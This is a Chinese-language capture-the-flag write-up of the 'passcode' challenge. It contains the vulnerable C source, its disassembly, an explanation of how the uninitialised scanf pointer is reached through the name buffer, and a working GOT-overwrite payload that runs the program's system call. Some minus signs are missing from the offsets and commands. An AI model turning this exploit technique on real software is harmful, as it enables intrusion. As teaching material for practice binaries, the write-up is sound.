Pwnable中的passcode解题记录:
看下源码:
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 void login(){ 5 int passcode1; 6 int passcode2; 7 8 printf("enter passcode1 : "); 9 scanf("%d", passcode1); //这里没有加取地址符号 10 fflush(stdin); 11 12 // ha! mommy told me that 32bit is vulnerable to bruteforcing :) 13 printf("enter passcode2 : "); 14 scanf("%d", passcode2); //这里没有加取地址符号 15 16 printf("checking...\n"); 17 if(passcode1==338150 && passcode2==13371337){ 18 printf("Login OK!\n"); 19 system("/bin/cat flag"); 20 } 21 else{ 22 printf("Login Failed!\n"); 23 exit(0); 24 } 25 } 26 27 void welcome(){ 28 char name[100]; 29 printf("enter you name : "); 30 scanf("%100s", name); 31 printf("Welcome %s!\n", name); 32 } 33 34 int main(){ 35 printf("Toddler's Secure Login System 1.0 beta.\n"); 36 37 welcome(); 38 login(); //这里连续调用了两个函数 39 40 // something after login... 41 printf("Now I can safely trust you that you have credential :)\n"); 42 return 0; 43 }
思路:通过输入name[]将print_got地址覆盖到栈上的passcode1,在scanf(“%d”,passcode1)函数调用passcode1时候将print_got改为system(“/bin/cat flag”)的执行地址。
1 printf_got = 0x0804a000 2 system_flag = 0x080485E3 3 str(system_flag) = 134514147
4 python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | 5 ./passcode
知识点:
1、scanf加&和不加&的区别:
当scanf取地址时候:scanf(“%100s”, &name);是向name的地址出写内容
1 0x0804862a <+33>: mov $0x80487dd,%eax ;"%100s"的地址 2 0x0804862f <+38>: lea -0x70(%ebp),%edx ;name局部变量地址 3 0x08048632 <+41>: mov %edx,0x4(%esp) ;name入栈 4 0x08048636 <+45>: mov %eax,(%esp) ;"%100s"的地址入栈 5 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> ;调用scanf函数
当scanf没有取地址时候:scanf(“%d”, passcode1); 是向passcode1存储的内容指向的内存地址处写内容。
1 0x08048577 <+19>: mov $0x8048783,%eax ;"%d"的地址 2 0x0804857c <+24>: mov -0x10(%ebp),%edx ;passcode1 3 0x0804857f <+27>: mov %edx,0x4(%esp) ;这里就是问题,把栈上储存的内容入栈了,而不是把栈的地址入栈 4 0x08048583 <+31>: mov %eax,(%esp) ;"%d"的地址入栈 5 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> ;调用scanf
由于没有对栈上的数据进行初始化,所以当输入passcode1的时候程序向一个不可写权限的
地方写数据,导致无法输入数据,程序崩溃。
2、栈上数据的存储:
两个函数: welcome() 和 login() 是具有相同的EBP.
welcome()中的name在ebp0x70的位置
login() 中的passcode1在%ebp0x10
从name覆写道passcode1的长度为:len = 0x700x10 = 11216 = 96
所以构造: ‘A’ *96个占位 + prinf_got_addr +system_flag
printf_got = 0x0804a000 system_flag = 0x080485E3 python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode
此时调用 scanf("%d", passcode1); 函数,会向这个地址处printf_got_addr处写数据,也
就是要修改printf_got的地址,修改成什么呢?当然是我们需要执行的函数
(system_flag),使 system("/bin/cat flag") 得到执行。
3、执行流程:
如何找到:prinf_got_addr 和system(“/bin/cat flag”)`的地址呢?
找prinf_got_addr :通过objdump d passcode中的printf@plt指向的地址:printf_got = 0x0804a000。
08048420 <printf@plt>: 8048420: ff 25 00 a0 04 08 jmp *0x804a000 8048426: 68 00 00 00 00 push $0x0 804842b: e9 e0 ff ff ff jmp 8048410 <_init+0x30>
找system(“/bin/cat flag”)`:汇编程序中程序执行到的位置。或者通过objdump d passcode中的login指向的地址:system_flag = 0x080485E3 。
因为scanf要输入的是%d,0x080485e3的十进制就是134514147。
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
1 08048564 <login>: 2 8048564: 55 push %ebp 3 8048565: 89 e5 mov %esp,%ebp 4 8048567: 83 ec 28 sub $0x28,%esp 5 804856a: b8 70 87 04 08 mov $0x8048770,%eax 6 804856f: 89 04 24 mov %eax,(%esp) 7 8048572: e8 a9 fe ff ff call 8048420 <printf@plt> 8 8048577: b8 83 87 04 08 mov $0x8048783,%eax 9 804857c: 8b 55 f0 mov -0x10(%ebp),%edx 10 804857f: 89 54 24 04 mov %edx,0x4(%esp) 11 8048583: 89 04 24 mov %eax,(%esp) 12 8048586: e8 15 ff ff ff call 80484a0 <__isoc99_scanf@plt> 13 804858b: a1 2c a0 04 08 mov 0x804a02c,%eax 14 8048590: 89 04 24 mov %eax,(%esp) 15 8048593: e8 98 fe ff ff call 8048430 <fflush@plt> 16 8048598: b8 86 87 04 08 mov $0x8048786,%eax 17 804859d: 89 04 24 mov %eax,(%esp) 18 80485a0: e8 7b fe ff ff call 8048420 <printf@plt> 19 80485a5: b8 83 87 04 08 mov $0x8048783,%eax 20 80485aa: 8b 55 f4 mov -0xc(%ebp),%edx 21 80485ad: 89 54 24 04 mov %edx,0x4(%esp) 22 80485b1: 89 04 24 mov %eax,(%esp) 23 80485b4: e8 e7 fe ff ff call 80484a0 <__isoc99_scanf@plt> 24 80485b9: c7 04 24 99 87 04 08 movl $0x8048799,(%esp) 25 80485c0: e8 8b fe ff ff call 8048450 <puts@plt> 26 80485c5: 81 7d f0 e6 28 05 00 cmpl $0x528e6,-0x10(%ebp) 27 80485cc: 75 23 jne 80485f1 <login+0x8d> 28 80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp) 29 80485d5: 75 1a jne 80485f1 <login+0x8d> 30 80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp) 31 80485de: e8 6d fe ff ff call 8048450 <puts@plt> 32 80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp) 33 80485ea: e8 71 fe ff ff call 8048460 <system@plt> 34 80485ef: c9 leave 35 80485f0: c3 ret 36 80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp) 37 80485f8: e8 53 fe ff ff call 8048450 <puts@plt> 38 80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp) 39 8048604: e8 77 fe ff ff call 8048480 <exit@plt>
flag:
好了,现在需要的东西都找到了,就是执行了。输入payload:
python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credenti
al :)
Sorry mom.. I got confused about scanf usage :(
参考文档:
http://blog.csdn.net/u012763794/article/details/51992512